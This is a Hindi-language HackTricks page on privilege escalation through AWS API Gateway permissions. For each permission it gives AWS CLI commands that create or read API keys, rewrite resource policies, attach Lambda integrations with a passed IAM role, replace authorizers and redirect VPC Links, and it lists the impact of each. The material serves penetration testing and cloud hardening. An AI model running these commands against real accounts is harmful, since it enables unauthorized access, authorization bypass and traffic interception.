AWS - Apigateway Privesc

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Apigateway

अधिक जानकारी के लिए देखें:

pageAWS - API Gateway Enum

apigateway:POST

इस अनुमति के साथ आप प्रति क्षेत्र (per region) कॉन्फ़िगर किए गए APIs की API कुंजियाँ उत्पन्न कर सकते हैं।

aws --region <region> apigateway create-api-key

संभावित प्रभाव: आप इस तकनीक से privesc नहीं कर सकते हैं लेकिन आपको संवेदनशील जानकारी तक पहुँच सकती है।

apigateway:GET

इस अनुमति के साथ आप प्रति क्षेत्र कॉन्फ़िगर किए गए APIs की जनरेट की गई API कुंजियाँ प्राप्त कर सकते हैं।

aws --region apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

संभावित प्रभाव: आप इस तकनीक से प्रिवेस्क नहीं कर सकते हैं लेकिन आपको संवेदनशील जानकारी तक पहुँच मिल सकती है।

apigateway:UpdateRestApiPolicy, apigateway:PATCH

इन अनुमतियों के साथ आप API की रिसोर्स पॉलिसी को संशोधित कर सकते हैं ताकि आप खुद को उसे कॉल करने की अनुमति दे सकें और API गेटवे के पास मौजूद संभावित पहुँच का दुरुपयोग कर सकें (जैसे कि एक कमजोर लैम्ब्डा को इन्वोक करना)।

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

संभावित प्रभाव: आमतौर पर, आप इस तकनीक से सीधे प्रिवेस्क नहीं कर पाएंगे लेकिन आपको संवेदनशील जानकारी तक पहुँच मिल सकती है।

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

परीक्षण की आवश्यकता है

जिनके पास apigateway:PutIntegration, apigateway:CreateDeployment, और iam:PassRole अनुमतियाँ हैं, वे मौजूदा API Gateway REST API में एक नया इंटीग्रेशन जोड़ सकते हैं जिसमें एक Lambda फ़ंक्शन होता है जिससे एक IAM रोल जुड़ा होता है। फिर हमलावर Lambda फ़ंक्शन को ट्रिगर कर सकता है ताकि मनमाना कोड निष्पादित कर सके और संभवतः IAM रोल से जुड़े संसाधनों तक पहुँच प्राप्त कर सके

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

संभावित प्रभाव: Lambda फ़ंक्शन की IAM भूमिका से जुड़े संसाधनों तक पहुँच।

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

परीक्षण की आवश्यकता है

एक हमलावर जिसके पास apigateway:UpdateAuthorizer और apigateway:CreateDeployment अनुमतियाँ हैं, वह मौजूदा API Gateway प्राधिकरणकर्ता को संशोधित कर सकता है सुरक्षा जाँचों को दरकिनार करने के लिए या API अनुरोधों के समय मनमाने कोड को निष्पादित करने के लिए।

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

संभावित प्रभाव: सुरक्षा जांचों को दरकिनार करना, API संसाधनों तक अनधिकृत पहुंच।

परीक्षण की आवश्यकता है

एक हमलावर जिसके पास apigateway:UpdateVpcLink अनुमति है, वह मौजूदा VPC Link को संशोधित करके उसे एक अलग Network Load Balancer की ओर इंगित कर सकता है, जिससे संभवतः निजी API ट्रैफिक को अनधिकृत या मालिशियस संसाधनों की ओर मोड़ा जा सकता है

bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

संभावित प्रभाव: निजी API संसाधनों तक अनधिकृत पहुँच, API ट्रैफिक का अवरोधन या व्यवधान।

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated